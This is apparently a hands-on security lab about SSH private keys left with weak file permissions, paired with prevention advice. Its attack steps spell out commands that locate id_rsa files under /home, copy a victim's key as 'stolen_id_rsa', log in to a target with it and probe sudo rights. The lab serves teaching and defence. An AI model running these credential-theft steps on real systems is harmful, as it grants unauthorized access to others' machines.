Objective: Exploit weak file permissions on SSH private keys to gain unauthorized access to remote systems, and learn how to secure SSH keys.
Scenario: SSH keys are used to authenticate to remote systems securely. If private keys have weak permissions, such as being world-readable, attackers can use them to gain unauthorized access. Your task is to identify and exploit such vulnerabilities and implement strategies to secure SSH key storage.
Lab Setup
- Environment:
- A Linux system with SSH keys stored in user home directories.
- Tools Required:
- Terminal access.
Lab Steps
Step 1: Identify SSH Private Keys
- Locate SSH private keys on the system:
find /home -name "id_rsa" -type f 2>/dev/null
- Check the permissions of the identified keys:
ls -l /path/to/private/key
- Example output:
-rw-r--r-- 1 user user 1675 Jan 1 10:00 /home/user/.ssh/id_rsa
- If the key is world-readable (
-rw-r--r--
), it is vulnerable.
- Example output:
Step 2: Exploit Weak Permissions
- Copy the vulnerable private key to your machine:
cp /home/user/.ssh/id_rsa ./stolen_id_rsa
- Set the correct permissions on the key for usage:
chmod 600 ./stolen_id_rsa
- Attempt to authenticate to the remote system using the private key:
ssh -i ./stolen_id_rsa user@<target_ip>
Step 3: Verify Access
- Check your current access level:
whoami
- Attempt privilege escalation if applicable (e.g.,
sudo
access):sudo -l
Solution
Explanation:
- Weak permissions on SSH private keys allow unauthorized users to copy and use the keys to authenticate to remote systems.
Prevention:
- Restrict Key Permissions:
- Ensure SSH private keys are readable only by the owner:
chmod 600 ~/.ssh/id_rsa
- Ensure SSH private keys are readable only by the owner:
- Use Encrypted Keys:
- Protect private keys with a passphrase:
ssh-keygen -p -f ~/.ssh/id_rsa
- Protect private keys with a passphrase:
- Audit SSH Configurations:
- Regularly review
/etc/ssh/sshd_config
to ensure secure settings:PermitRootLogin no PasswordAuthentication no
- Regularly review
- Monitor SSH Key Usage:
- Log SSH authentication attempts for anomaly detection:
sudo tail -f /var/log/auth.log
- Log SSH authentication attempts for anomaly detection:
Testing and Verification
- Attempt to access the private key after restricting its permissions to confirm it is protected.
- Test key-based authentication with passphrase-protected keys to verify security.
- Monitor SSH logs to ensure no unauthorized access is occurring.
Reflection
This exercise demonstrates the risks associated with weak permissions on SSH private keys and emphasizes the importance of securing key storage. By enforcing proper permissions and using encryption, you can protect remote systems from unauthorized access.
0 Comments